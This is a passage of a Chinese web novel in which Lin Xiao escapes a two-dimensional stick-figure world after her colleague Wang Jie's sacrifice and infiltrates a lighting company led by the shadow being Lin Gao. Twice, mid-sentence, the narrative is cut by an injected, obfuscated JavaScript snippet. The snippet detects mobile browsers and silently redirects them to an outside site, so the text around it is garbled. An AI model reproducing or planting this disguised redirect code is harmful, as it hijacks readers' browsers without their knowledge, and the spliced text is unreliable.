她都感觉到痛苦，生活在这个世界的火柴人只会比她还痛苦。但它没有呻、吟，甚至说出一种发自内心愉悦的腔调：“不愧是觉醒者的荣光，我居然感觉到了太阳。” 林筱承认，她有被吓到。 这就属于你以为你们是两个潜在罪犯相互试探，结果没想到你的对手是个变态，在凶残程度上莫名低了别人一截。 这个时候，就需要重新掌握节奏。 “能够远远看见它就够了，”林筱掐着嗓子，以退为进，“我们走吧。” “你不觉得遗憾吗？”火柴人从沉醉中清醒，虽然看不见彼此，但依旧苦心劝说，“这是我们这个世界的瑰宝，只需要触碰它的页面，你就能读到里面的信息，这个世界的秘密没有一个能瞒住你。” 大概就是最后这句话迷惑了林筱，以至于她根本没注意到火柴人话语中的疑点，一心只有那本神书。 眼睛对光的适应需要时间，林筱自诩身为外来者恢复能力总该比火柴人强，仗着先一步恢复视觉向那本神书走了过去。 这几步路没有危险，大概真的只是觉醒者在炫耀自己的资本。但当她的手指触碰到页面的边缘时，海量的信息以撑爆大脑的速度涌入她的脑海，瞬间让她发出痛苦的呻吟。 大脑失去管控，也失去了警戒的能力。不知道什么时候恢复的火柴人趁她不备，一把将她推到神书正下方的空白。 原本空无一物的地方出现一个可怖的黑洞，瞬间将林筱吸了进去。当她再次清醒时，她发现她身处一处地牢之中。 和纯白的神书附近相反，这处地牢代表着纯黑。 一白一暗的环境变化就算是铁眼也支撑不住，即使闭着眼，林筱还是感觉到眼前不断有白光闪烁。 过了好一会，她才再次睁开眼，观察周围的环境。 身前是纯黑的栏杆，几乎与环境融为一体。如果不小心触碰，就会像她现在这样—— 暴戾的能量在体内肆无忌惮地走窜，破坏她身体的结构。 林筱能清晰地看见自己手指的线条减少，整个形象不再那么立体，画风也变得粗糙。 吸收了她能量的栏杆依旧伫立在原地，颜色有了肉眼几不可见地减淡。 形象的精致程度代表她在这个世界的阶级。按照神书里说的，当她退化成火柴人那样，她也将丧失自己的神志成为这个世界的一份子。 所以这里应该就是二维世界扣押他们这些来自现实世界的人最好的地方了。 黑暗中的视野没有往常那么广，林筱只能看见周围没有人，并不能确定这里一定没有她的同伴。 只能希望王姐还没有被发现。 又过了一会，右边传来了不小的动静。 两个火柴人走了进来。 为首的那个火柴人身形更为强大健壮，圆圆的脑袋上飘着几根毛，脸上还有几笔简单的表情，看上去严肃冷漠。 它身后的火柴人却已经算不上火柴人了。它有了更细节的四肢躯体，五官都有了刻意的描绘，甚至出现了简单的衣服。 但即使这样，林筱还是第一眼认出走在第二个的家伙就是坑她的火柴人。 第一个火柴人在她的牢门前站定：“你想见的人就在这。你有一刻钟的时间和她交流，如果还有别的需求也可以随时和我联系。” “不需要，这样就足够了。”和死气沉沉的前一个火柴人不同，它的语气永远带着诡异的活力，“感谢大祭司的荣光！” “感谢大祭司的荣光。”火柴人木讷地重复一句，转身守在通道的一侧。 这位完成变身的前火柴人与林筱对视，刚装上的五官因为对方激动的心情呈现出不和谐的排布，就像新手刚学习描绘的五官，整体的比例都是奇异的： “没想到吧，我早就猜出来你是外面的人。虽然这么做是累了些，但举报你的奖励可以让我成为一个初级贵族。” 这个二维世界分为三类人，至高无上的觉醒者，人物饱满立体的贵族，随手涂鸦的平民。根据细节程度下两个阶级又分为三等，火柴人就是所有阶级中的最底层。 二维世界对她们这些人的悬赏奖励还挺高，居然一下子就把人提升到另一个阶级。 “恭喜。”棋差一招，林筱也认下这个失败。 “你知道你错在吗？”它遗憾地摇了摇头，就像迫不及待炫耀的小孩般在林筱面前张牙舞爪。 “根本没有所谓的两年期限。”是她先入为主了。 就像北宋不知道自己叫做北宋，它们生活在这个时代也无法预料到未来的走向，怎么会做出那么精准的判断。 “不是哦，”它摇了摇头，得意的情绪根本抑制不住，“真正的贵族从来不会低头看我们。 “他们根本不会和我们打招呼！” 林筱一时不知道该怎么摆正自己的脸色。就因为这么草率的原因，所以当她说出第一句话的时候就暴露了？ 生活有时候比她想象的还要荒谬。 “你们就那么屈服了吗？”一个温柔端庄的女声突然在这里响起，“当你们来到外面的世界，你们就会发现大家都是平等的，没有谁比谁更高贵。” 林筱一滞。 这个声音她熟悉，虽然相识不久，但的确是目前她最需要的同伴。 她转头看了过去，只有隐隐约约的影子在，可直觉告诉她那就是王姐。 “我了解过，你们才是占据这个世界的主体，为什么要屈居那些数量稀少的贵族之下？”那边依旧劝解道，“只要你们齐心协力反抗起来，你们就能在这个世界当家做主。”< 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它迟钝地意识到自己受到了同族的袭击，许久不转的脑子没有意识到事情背后的意义，只是一味地强调：“你这是叛国，觉醒者不……” 话还没有说完，眼前的看守者化为无意义的灰烟，林筱眼前的栏杆也浅淡了不少。 火柴人看着还在牢中的林筱，摊手，语气中充满了遗憾：“太可惜，女士。我想救你的，但那也是基于自己的利益不会受损的前提下。看来你的运气差了些，但或许这就是属于我们的命运的。” 它指了指自己，“一个贵族。” 又指了指林筱，“一个阶下囚。” “我不觉得你会认命。”林筱看着这个陌生的形象，“如果你是那样的人，我们就不会遇见。” 她依旧清晰地记得，当她因为能够保持清醒而偏移了方向后，遇到的这个火柴人正试图对她做的事。 它想要囚禁一名贵族，吞噬它，取代它。 这样的一个人物，不可能因为看守者这几句话就认命。 “或许你说得对。”它歪了歪头，“但你更应该清楚，没有足够的条件下我会选择顺从。” 就像他们和谐友好的那一趟旅程一样。 “你杀了看守者，不怕被惩罚吗？”王姐在一旁冷不丁地开口，“和我们合作，才是你唯一的选择。” 一下子就将她们定位为唯一的选择，不愧是可靠的老前辈。 和火柴人面对面的林筱能够清晰地看到火柴人的脸色变化，所以她也发现它不仅没有慌乱，反而露出得意的笑容。 “我为什么要怕呢？”它突然大笑出声，“是你们让我明白，火柴人是没有地位的，是最低等劣质的、可以随处抛弃的废物。可我现在是一名贵族，我可以随意处置它，没有人会说我不对。” 伴随而来的，是长久的沉默。 或许，她们不小心释放出一个怪物。 “不，你不是这样的人”明明和火柴人没有接触多久，王姐说话的语气却异常肯定，“我有一个更好的办法来解决现在的难题。” 13. 新手世界13 “我不同意。”林筱坚决地否决道。 “你们两个人是不同的想法，我应该听谁的呢？”火柴人东看看，西看看，表现出一副很为难的样子。 看守者消失，牢房的暂时管理权限就转移到唯一的自由人身上。火柴人挥了挥手，就将属于王姐的笼子拖了过来。 现在，王姐和林筱一左一右包围着火柴人，等待它的选择。 “我是她的领导，她的决定并不重要。”关键时刻，王姐也不再柔和。那种因为退休而带来的松弛感瞬间消失，她看着火柴人的样子犀利地如同一名战士。 她也的确是一位战士。 “你说得有道理。”火柴人点了点头，不顾一旁林筱的反对，走到王姐身边，两个人握起了手。 这就是王姐提出的主意：由火柴人吸收她的能量去消耗林筱的笼牢。 如果这些能量不足以让林筱的牢门消失，那就是她们命不好，她们也就认命不再搞事。但如果这些能量有余，剩下的就全归火柴人所有。 从这个牢房设计的理念来看，这种牺牲一人拯救一人的想法是可行的。 牢房的目的就是为了把从现实中来的人变成火柴人，这就代表这些牢门的吸收上限就是一个人的能量。 林筱的牢门已经吸收了一部分属于她自己的能量和一个完整的看守者，从理论层面上讲，这个计划是有利于火柴人的。 但现在最大的难题是—— “可是你怎么保证不会私吞这些能量？”林筱质疑地看着火柴人。 既然和火柴人讲不通，那就让王姐自己放弃。 还没等王姐犹豫，火柴人已经摇了摇头：“少年，时代变了。不是我的选择只有你们，而是你们只能相信我。” 它在她们笼牢之间的走道上来回走动：“你看，只有我会选择救你。除了相信我，你们别无选择。” 林筱很清楚这个事实，但她同样不相信这个二维世界的投机分子。 这个骗子有着纯熟的演技和无法被看清的内心，她不能确定此刻的火柴人是倾向于二维世界抑或是她们。 她只能保证自己选择一个风险更小的方向：“我觉得还会有其他办法逃离这里。” “来不及了。”王姐打断林筱的发言，“我听到它们说，明天就要对我们的世界发动进攻。” 和林筱不同，王姐一开始就陷入了昏迷，顺着二维世界的牵引就来到了这处牢房。 这里人烟罕至，除了偶尔有几个像她这样的倒霉蛋之外就没有其他人。看守者看到了难得的活人，也有了兴致和她聊天。 从看守者口中，她得知这里的觉醒者早已潜伏在他们的世界，而最终决战的时间迫在眉睫。 当时的她即使知道消息也毫无办法，这也是看守者会放心大胆告诉她的原因。但现在不一样了。 她有了希望。 “林筱，我知道这么做对你不公平。”王姐看着她，目光诚恳，“这样的重担不应该放在像你这般刚毕业的学生身上。 “但也请你原谅一个已经退休的老太婆的私心，我不想再看见任何孩子牺牲在我面前。 “你是最有可能逃出这里的人，请带着我们的希望阻止这一切的发生。” 林筱没再说话，只能眼睁睁看着属于王姐的华丽线条逐渐消退，成为潦草的人像。再后来，脸上的五官淡去，她最终也成为了分不出性别的火柴人。 “王姐，王姐，单位里的人都只称呼您为王姐，可我却还不知道您的全名是什么。”林筱看着呆滞死板的火柴人被拦在牢门后不知道该做些什么，“希望下次，您能亲自和我说出您的名字。” 变成火柴人的王姐没有回应，但已经不是火柴人形象的火柴人却积极在林筱面前显摆。 “嘿，来看看我。”它嚣张地看着林筱，“该轮到你求我了。” 她本来也没指望这个火柴人会真的遵守诺言。 虽然她现在的想法也天真，但她认为在系统没有达成它的目的前，它会一直保护着她，就像那次她误入两界交界处一样。 她真正倚仗的底牌，就是系统。 她相信就算她变成火柴人，系统也可以保持她的理智。最差的结果也不过是在这个世界的死亡，就像她来之前的打算一样，她承担得起这个后果。 在火柴人震惊的表情中，她握住了栏杆。 “不是，你这……”火柴人被吓得语无伦次，“我就是逗你一下，你至于吗？你快放手！” 林筱自然没有理会它。 “欸，你这人！”火柴人也没想到这个世界上还会有这么倔强的人，不得不把自己的手也放在栏杆上，另一只手还在试图打开林筱的手，“我这个人最讲信誉，说到做到，你别败坏我的名声。” 栏杆吸收能量的速度是有限的，林筱感觉到自己样子转变的速度减慢，这才相信火柴人不是故意装个样子，慢慢松开了手。 “我们好歹也有些交情在，给点信任行吗？”哪怕被栏杆吸收能量难受得龇牙咧嘴，但火柴人还是忍不住嘴贫。 看着火柴人忙碌的林筱迷惑地看着它：“你要不再想想？” 终于想起林筱会沦落到这个境界的还得多亏了它的火柴人张了张嘴，最终在林筱的注视下闭了嘴。 随着时间流逝，栏杆的颜色越来越浅，只留下淡淡的印子，却依旧没有消失。 火柴人已经变回了它来到牢房时的样子，这也意味着王姐给它的能量都已经被它消耗殆尽。 加上林筱自己消耗的能量、看守者提供的能量，这已经远超出将一个普通人变成火柴人应该耗散的能量。 这也意味着，当初它们决定关押林筱的时候就没想过让她活着出来。 这唯一的差别，大概就出在那本书上。 火柴人也很快反应过来，不爽地看着这个若隐若现却真实存在的栏杆。 “你答应的已经完成了。”林筱也没在意火柴人的收手，能完成到这个阶段已经远超出她的预期，“剩下的我自己来。” 火柴人看了她一眼，“啧”了一声，继续把手放在上面：“算了，送佛送到西，正好我也想看看你们能不能给这个死水一样的世界带来变化。” “你继续下去 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“你沿着黑暗一直走，不要停。”火柴人指了指路的尽头，“那里有一个两界交界口，你可以从那里回去。” “谢谢。” 她路过王姐。 王姐已经变成了一个最基础的火柴人，空白的圆形是她的脑袋，取代了曾经那些属于人类的繁复组织与情感。 她呆呆地站在那里，即使林筱路过也不悲不喜。 外面世界的人变成火柴人会经过两次蜕变。一次是来到二维世界，他们会退去沉重的躯体，带着纯粹的精神化作一张画像。第二次是彻底变成火柴人的那一刻，他们会抛去所有带有重量的东西，包括情感与记忆。 也就是觉醒者口中的新生。 她不敢接触王姐，毕竟她现在也是个挣扎在贵族与平民交界线上的人。如果她被王姐的栏杆吸收走能量，那么她、王姐、火柴人所做的一切努力都将成为一场泡沫。 “我会带你走。”林筱低声说道。 没有人回应，她也不需要回应。 她迈入黑暗。 这里的黑暗并不是伸手看不进五指的黑，它是流动的，甚至带有活性的。它就像顽劣的墨滴肆意在纸张上挥洒，晕染出深浅不一的灰，构成扭曲却又真实存在的道路。 “喂！”她的身后传来了一个呼喊声。 或许是这里的黑色更加充沛，所以她听到的声音是从未有过的响亮：“我一直觉得我和这个世界格格不入，所以它们不敢尝试的，我会尝试，它们不敢做的，我会做。 “是你们告诉我，错的不是我，是这个世界。 “即使我成为贵族，我依旧是不自由的。但我相信，你们可以给我想要的自由。 “我不知道这条路的重点是什么，但我的确有个在宫里打工的兄弟。是它告诉我，这是属于大人物特殊通道，那里或许有你想知道的东西。 “活着，让我见证历史。” 林筱没有停留，一头撞进更深沉的黑暗中。 她会离开，但那必须是带着成功离开。 14. 新手世界14 二维世界与现实世界的衔接口存在于阴影之中，但主要的流通口却位于古建筑内。 这是她与他们组织公认的事实。 所以当林筱终于来到道路尽头的时候，她万万没想到看到的会是那么现代化的场景： 投影在屏幕上的精致PPT，坐满了西装革履的商业精英的长桌，头顶依稀可以看见几根毛发的年轻人在台前讲述公司的近况。 而PPT的左上角，赫然显示着“林氏灯业”这几个字。 那种充满行业黑话、故作高深的会谈实在吸引不了正常人的兴趣，林筱顺着灯光所照不见的缝隙溜了出去，光明正大地巡视敌人的地盘。 她是离开了二维世界，但也不算完全离开。 可能是因为她离开的方向并不是她过去的路径，所以她出来后不仅没有发现她的身体，反倒困在阴影中成为过去的自己敌人般的存在。 不仅如此，她还深陷敌营，被敌人包围。 虽然，这个敌人把她当做自己人。 再次避开试图凑过来的另一个二维生物，林筱灵活游动，躲到安静的角落思考下一步行动。 不管是在现实世界中作为午夜黑影故事最后的宣传对象，还是二维世界中觉醒者如今身处的位置，林氏灯业都是频繁出现的名字。 再结合书中透露的细碎消息，毫无疑问，那位二维世界推崇至极的觉醒者就是如今林氏灯业的董事长兼行政总裁，林皋。 这位觉醒者早早潜入现实世界，在没有吸引外界注意的同时在现实世界站稳了脚跟，用现实世界的手段默不作声地扩大二维世界对现实世界的影响力。 所以这里作为它们的大本营，想必层层戒严，任何可能引起风吹草动的声音都传不出去。 现在的她没有办法解决具有实体的林皋，只能想办法将消息泄露给秦主任他们。 她需要选择一个人附身。 * 换了个视角生活，林筱这才发现这个现实世界对于二维世界的生物来说简直就是个布满漏洞的筛子。 整栋建筑犄角旮旯的地方就是她小憩的休息室，行人交错的脚步是她穿越空间的跳板，桌面下规整的阴影就是她的床铺。 数不清的同伴和她一起穿梭在这属于另一个世界的通道中，默默窥视着这个世界。 一个热情的老前辈拉着林筱传授它的经验之道：首先，要确定一个目标，然后就跟着他，模仿他的生活习惯和仪态，最后，取代他。 她看见动作还不熟练的“同伴”忍耐不住偷偷上身品尝人间的美味，看着被除去附身效果后的人类看着空空的零食袋一脸茫然。 也看见没有耐性的“同伴”直接选了个人上身，露出机械死板的表情被其他已经成功混入的“同伴”借口生病带走加强培训。 这里不仅是二维世界的大本营，也是它们的畜牧场。每年的人员流动都可能带给这个世界一次打击。 但这也让林筱回忆起她进入这个世界遇到的第一个人，她的监考老师。那也是一个机械而死板的家伙，看来值班的沦陷也只是早晚的事。 面对热情的老前辈，她自然不会拒绝它的好意，直截了当地表达了自己的意向：“我想当前台。” “这是个热门选项，大家都想接触更多的人类。”老前辈没有疑议地点了点头，热情地指引了一条通往前台的捷径，“但你运气不错，这个新前台目前还没人看上。” “看来我的运气真的不错。”林筱也点了点头。 但当林筱顺着捷径见到这位前台时，这才明白为什么没有人选她。 那就是一个不知道拒绝的老好人。 不过老好人也有老好人的好处，至少她手边的那一份文件就是不知道哪个部门转交到她手上的回访记录。 林筱正好可以利用这个机会联系秦主任。 普通人不会防备自己的影子，林筱的上身体验也远比意料中的还要顺利。 那种感觉就像沐浴在云雾缭绕的温泉之中，整个灵魂都得到了升华，随后她还穿上了一件舒适合身的衣服。 合身到什么地步呢？ 林筱甚至忘记了自己此刻的目的。 她想要取代她，如同披上画皮的妖鬼，享受这人世的繁华。 直到那个突然出现的人影唤醒她：“倩倩，一会快递帮我签收一下哦。” 那是一个身穿白衬衫阔腿裤的女子，手里拿着一杯咖啡，精致的妆容也掩盖不住底下的疲倦，但面对前台的时候却可以理直气壮地使唤。 话一说完，她没等前台答应就转身离开。 林筱坐在位置上发了一会呆，这才慢吞吞地看向那叠快高出电脑的回访文件。 虽然她刚才的确有那么一瞬间想要弃明从暗，但支撑她理智回来的还是系统。她这辈子受到最大的挫折就来自系统，如果不把它干掉，她怕是死也不会瞑目。 她有这个执念拉回了自己，但其他被送进二维世界的人却不一定有她的能耐。可能结束于两界跨越的意外，也可能成为浑浑噩噩的火柴人，或者彻底沦为自己种族的对立面。 能把二维世界的有关消息带回的每一个人都值得尊敬。 林筱打开了文件，按照顺序一个个拨打回访电话，看似随意地按错几个数字：“喂，您好，这里是林氏灯业。” 一阵沉默之后，对面打开扬声器，秦主任的声音从里面传出：“你好。” “是这样的，我们查询到您最近采购了两盏灯具，想要询问一下您对这的使用感受如何？” “还没有送到。”他沉默了一会，说道。 “嗯，好的。这边帮您查看一下，可能有一个快递会滞留，需要麻烦您再耐心等一下。请您放心，我们林氏灯业的灯具都是货真价值，经得起考验的。” “好的。”秦主任的呼吸短暂地停了一瞬，又很快镇定地回复。 “感谢您的接听，稍后会有短信发送。如果您对我们的服务感到满意的话，请记得给我们打十分。我们这边就不打扰您了，祝您生活愉快，再见。” 这边的电话挂断，林筱又按照顺序回访了几个客户，这才从这个前台的身上离开。 就跟人可以试穿衣服一样，它们也可以先体验自己选择的身体再选择是否取代他。只要在试穿的时间内，她就可以自由地离开。 她现在就是一个二维生物，自然也有这个权利。 该通知的人已经通知到位，她现在该去打探一下那位觉醒者在哪里了。 然而林筱不知道的是，就在她返回大厦的高楼层时，一个穿着红色马甲的快递小哥目标明确地来到前台：“您好，徐女士的快递，说是客户回访的重要资料。” “啊？”前台只感觉眼前花了一下，明明自己什么都没干，但十几分钟就那么过去了，现在都有点懵懵的，只能按照本能回答，“那你放这吧。” “不行，”快递小哥露出为难的表情，语气急促，“客户要求我必须送到她手中。” “哦，那你写一下外部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073069|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员登记表。” 会把快递送这里的徐女士只有业务部的徐姐吧，她不是一直让她代签的吗，今天怎么就一定要送到手里？ 虽然摸不着头脑，但前台还是负责地拿出一张表格。 “谢谢，谢谢，麻烦你了。”快递小哥忙不迭地道谢，快速进入恰好停留在一楼的电梯。 “对哦，客户回访。”收回表格的前台敲了敲自己的脑袋，也不知道怎么回事突然之间就那么健忘，“我还得帮钱姐做客户回访。咦，怎么这么多人后面打了勾？我这是梦游都在工作吗，我这也太厉害了吧！” 另一头，快递小哥来到了徐女士所在的楼层，一脸焦急地四处寻找。 他的异常行为自然吸引了其他人的注意，在问清楚原因后，大家纷纷给他指了路。 顺利将快递送到徐女士手中，快递小哥就要离开了。 他没有选择更快速的电梯，反而进入一侧的消防通道一步步往下走。 灯业大楼的消防通道也有着手术室般的明亮，无处可逃的黑暗在这片空间格外显眼，尤其在他打开了全部灯光之后。 但在他看不见的角落，依旧有阴影在流走。 他突然停下脚步，没有回头：“王姐？” 消防通道除了他没有其他人，自然也不会出现别的声音。 就在他抬起脚准备离开时，身后的影子开始变得扭曲，属于右手的位置呈现出扭曲的“林”字，又像阴森恐怖的古怪树杈。 快递小哥迟疑了一会：“林筱？” 于是他眼睁睁地看着自己的影子在自己没有动的情况下做出了“ok”的手势。 能被派出完成接头任务的人自然有着过硬的心理素质，他很快就接受了王姐已经牺牲的现实以及同伴变成“敌人”的现状，低声问道：“你需要我们做什么？” 选择这种迂回的方式暗示他们林氏灯业确实有问题，这就证明林筱目前的处境也并不安全。所以即使知道这其中可能有诈，秦主任他们还是选择派出一名队员去救助自己人。 快递小哥就是那个人。 他的影子如同顽童手中的泥巴被胡乱扯玩，看不清具体的形状。过了好一会，一个灯具的样子才逐渐成型，一旁还有个向上的箭头。 “我们要找的人是林氏灯业的林皋。”快递小哥猜测到。 林筱控制着影子摆出正确的手势，继续努力完成这个我画你猜游戏。 这一次，灯上出现一个大大的叉，而箭头就指向快递小哥。 “你需要我们解决林皋。”快递小哥很快反应过来。 林筱画了个烟花。 “解决他，世界就可以庆祝了。”快递小哥解读道。 林筱没有控制他的影子做出否认的动作，这就代表他的理解没错。 林皋不是出卖人类，他根本就不是人类。 得知这么一个重要消息，快递小哥自然要向上面汇报：“那你注意安全，我通知他们抓紧时间行动。” 林筱继续摆了个“ok”的手势，努力把快递小哥的影子复原，继续躲回她的角落里。 由于快递小哥的开灯行为，这里的其他二维生物都已经逃走，如今反而是林氏大厦最安全的地方。 她守在这里，也可以防止其他人对他下手。 独特的手机不受任何信号屏蔽的影响，快递小哥很快就汇报完情况，蹲下身看着自己色泽浅淡的影子：“他们很快就来了。” “我们不会让你们的努力白费。” 15. 新手世界15 林皋作为林氏灯业的总裁和董事长，他的办公室自然位于整座大厦的最高层。 理应戒备最森严的地方。 和快递小哥分开后，林筱就尝试着前往觉醒者所在的位置，但这个过程却比她想象的容易。 想要通往顶层，要么沿着消防通道，要么沿着电梯间。 消防通道灯光明亮，不适合她现在这个身份，所以她唯一的选择只有电梯间。 她找到一个机会，在电梯闭合的瞬间来到梯厢之外的空隙。梯厢漏下的几缕光芒撒在漆黑的空间，却并没有给人带来温暖的感觉。 因为，这里太挤了。 林氏灯业的大楼只有十二层，可这十几层的高度内却藏着几百只二维生物。它们在黑暗中自由飘荡，时不时好奇地窥看坐在电梯里的人。 哪怕它们没有厚度这个定义，但人挤人的场面还是迫使林筱积极开辟新的道路，爬到相对稀疏的高层。 倒不是说楼层高低对它们有限制，单纯就是因为能到高层的人就那么几个，大家已经对这些老面孔无感。 林筱趁着没有人注意她的时候，试探着向顶楼伸出一只手。 几乎就在瞬间，猛烈的光照消融了她试探出去的几根线条。能量从体内被剥夺而感觉到虚弱的同时，她心中浮现出一个预感：一旦她在现实世界降级为平民，她就会被拉回二维世界无法出现。 她缩回了电梯间，藏在黑暗之中。 也幸好，秦主任他们没有让她失望。 没过多久，梯厢突然运转。它匀速上升着，但停靠的位置却与往常不同。 它稳稳地停在最高层，也就是林皋所在的楼层。 没多久，电梯门打开。一群身穿制服的人率先走了出来，而他们身后是想要阻拦的公司高层。 “你们这样不符合流程。”一个高层眼看着阻止无效，在他们身后无能怒吼，“我要投诉你们！” 而这些穿着制服的人却丝毫没有理会他，径直来到顶层的走廊。 和大众对二维世界生物的刻板印象不同，林皋所在的楼层不仅没有昏暗阴沉，反而明亮得晃眼。每隔几步就能看见属于林氏灯业的产品正在大放光明，把整条长廊布置得像是林氏灯业产品的展品间。 头顶的灯光压制着众人的影子，只留下重叠在一起的一坨黑影。林筱抓到机会，顺着他们迈出电梯的步伐藏进他们的影子之中。 这些人林筱认识。 为首的那人就是秦主任，只不过今天他一身正装板着脸，气质大变，看上去冷硬不少。身后那几个人也都各个身材魁梧，即使不那么魁梧的几个人也都散发着独特的气息。 可以说是结合了科学与神秘学的武力压制。 当林筱融入他们的影子导致影子出现一瞬间的畸变时，他们的脚步微微停顿，但很快又恢复了正常。 在他们身后的高层已经没了作用，但同在一个楼层的秘书们却在这时齐齐堵在他们的前方：“不知道我们林氏灯业哪里出现了问题吗？” 按照普通流程来讲，他们此刻的行为的确是不恰当的。但他们也不是来找普通生物的。 特殊事情，特殊处理。 根据林筱提供的资料，二维世界的生物刚套上人衣时，是不能接受强光刺激的。所以它们的活动范围一般就会限制在公司内部。 一旦不幸遇到强光直射，它们就会剧烈抽搐，反应在人体上的表现就是被附身的那个人会陷入昏迷。 有人员出现昏迷的情况，他们就能在这上面大做文章。 而去负责制造这场事故的人，就是此刻没有出现的快递小哥。 他按照林筱的指示找到那个刚被附身的人，用随身携带的强光刺激他至昏迷，并拨打报警电话和急救电话。 救护车和相关人员早就被秦主任他们安排好。所以只要电话一响，他们就有了借口闯入林氏灯业。 也因此，面对眼前的秘书团队，他们还是能有理有据地说明自己这么做的理由。 不过他们的理由并没有说服林氏灯业的秘书团队。 站在秘书团队最前面的人正想要反驳，却被一通突如其来的电话打断。当他放下电话后，态度骤然来了个180度大反转。 他亲自带领秦主任他们来到总裁办公室附近的会议室，安排人送上咖啡与水，再安静地退出。 能让他有这样转变的人，毫无疑问，就是他们此行的目标，林皋。 虽然不知道林皋打着什么主意，但他们现在在他的地盘上，暂时也只能将计就计。 会议室灯光明亮，他们的一举一动都被照得格外显眼。秦主任从包里拿出一个与这里看上去毫无关联的丑陋玩偶，摆放在桌面上。 那是一个被棉花填充的布娃娃，坐在桌子上一动不动，肚子上还有一条针线细密的缝合伤口，让本就难看的娃娃雪上加霜。 再难看也是林洛送她的，她不嫌弃。 她看着秦主任的手一直握在那个娃娃上，明白了他的意思。 从脚到身体，再到摆放在桌面上的手，这些肢体形成的阴影构成她通往娃娃的桥梁。曾经的二维生物可以操控娃娃的身体，现在的她没道理不行。 事实证明，她也的确成功了。 玩偶的身体是软绵绵的，她感觉自己就像个不倒翁，每一步都是轻飘飘的，却又恰好能够站稳。 她挣脱秦主任的手，走到他面前看着他。 几根粗针线勾勒的五官诡异恐怖，直愣愣看着人时就是经典恐怖片在世。但秦主任不仅没有被吓一跳，反而找出一圈胶带把笔缠在她手上，提起娃娃就摆放在一张空白A4纸上。 “写写你知道的情况。”秦主任指了指空白纸张。 林筱抬头看着他，确认在他眼中看不见一丝同情，这才费力地抱着一支对于她现在的体型而言格外沉重的水笔走了起来：觉醒者，林皋，杀，十年。 “觉醒者，是它们那个世界对于首领的特殊称谓吗？林皋就是觉醒者，杀了它能给我们世界带来十年和平？”一旁的人揣测道。 林筱累得拄着笔休息，听到这句话配合地点了点头。 “如果真的这样，值班这个岗位也就不需要存在了。”秦主任点了点头，忍不住感慨，“只要在这十年，我们彻底解决它们，大家都能恢复正常的生活。” 他没有说另一种情况，但大家心知肚明。 如果没有解决，那他们将在十年后迎来它们更强烈的反扑。 但同样都是毁灭，用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073070|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个办法他们还能看见一线生机，而不是在不知不觉中走向彻底的灭亡。 [玩家触发隐藏职业——值班。 玩家触发最终任务：解决觉醒者林皋，游戏将提前结束并给予玩家最高评分。] 突然响起的系统提示音让林筱也愣了一下。 系统已经过上好几天没存在感的生活，这次突然发声带来的虽然是好消息，但并不能让林筱感到高兴。 这个系统从来没有告诉过她，隐藏职业除了需要他们选择正确，居然还需要通过特定流程触发。 只有她在其中一环有差错，哪怕她已经摸到了真相，但依旧没法获得这个成就与分数。 不愧是系统。 她正因为系统的操作而感到厌恶时，秦主任他们却以为她一直不动是因为刚才写字太累了。 秦主任摸了摸玩偶的脑袋：“是我们没考虑周全。这小手都是棉花，软绵绵的，对应起来也差不多是人类的肌无力，不该让你拿那么重的笔。” 林筱后退一步，躲开从天而降的巨掌，但也没让它离开。 手掌犹如一堵矮墙，虽然小，但也提供了遮蔽光照的地方。林筱躲在里面，操控着影子显示出自己想要表达的意思。 比起用笔书写，哪怕这种方式更考验她的心力，她也情愿。 影子犹如墨水，书桌犹如宣纸。浅淡不一的墨字在纸张上一层层渲染开来，消去，又复现，讲述着她在二维世界的经历。 当她准备重点描述觉醒者的弱点时，会议室的灯光却突然熄灭。 整个房间陷入了黑暗。 除了墙角的应急灯光，这里没有了其他光源，幽绿的光线只会显得这里更加鬼魅。 那种熟悉的异界感扑面而来，看来这就是那位觉醒者钦定的战场了。 林氏灯业有着最好的灯具，它的主人就是依靠阴影生存的觉醒者，自然也知道怎么样的设计才可以达到光与影的完美契合。 四周亮起幽暗的灯光，只能让他们勉强看清彼此的站位。可这些灯光却将房间里的一切照出长且深邃的影子，如同噬人的怪物。 就算是秦主任他们准备了很多灯具，但在这个觉醒者特意设置的陷阱内还是落了下乘。 从墙角和门外的缝隙处涌现出数以百计的二维生物。它们跳跃着进入投射在房屋四周的影子中，操控着影子呈现出攻击的姿态。 一时之间，举目之内皆是敌人。 秦主任他们连忙打开随身携带的光，将自己的影子压缩到极致。但依旧有些反应不够灵敏的人被二维生物抓到机会，钻入他们的影子中，接触到他们的肉身，然后取而代之。 但这种胜利也只是一时。因为人类一方的都知道，只需要强光直射就可以让二维生物抽搐而丧失行动力，达成两败俱伤的结局。 二维生物也知道人类已经知道它们的这个把柄，但它们也并不是真的想要占据人类的身体。它们只不过是想利用它们的试穿时间破坏人类的阵型，让他们的防御出现漏洞。 果然，在这些二维生物的操作下，人类虽然没有出现减员的情况，但防御的包围圈却越来越大，逐渐出现不能被光彻底笼罩的空隙。 而那些二维生物却已经等待这个机会许久。 16. 新手世界16 在这被包围的休息室内，看不见的东西在不断地攻击着人类。 二维世界的武器在阴影与黑暗的加持下对现实中的存在能够造成一定的伤害。这些伤害算不上致命伤，却可以让他们的精神感到痛苦。 当人类的意志被消磨殆尽，他们就会成为它们的战利品。 但人类这边也不是毫无办法。 二维生物寄生于黑暗，所以它们与光明天8然对立。现实中的武器伤害不了他们，但灯光却能让它们彻底消亡。 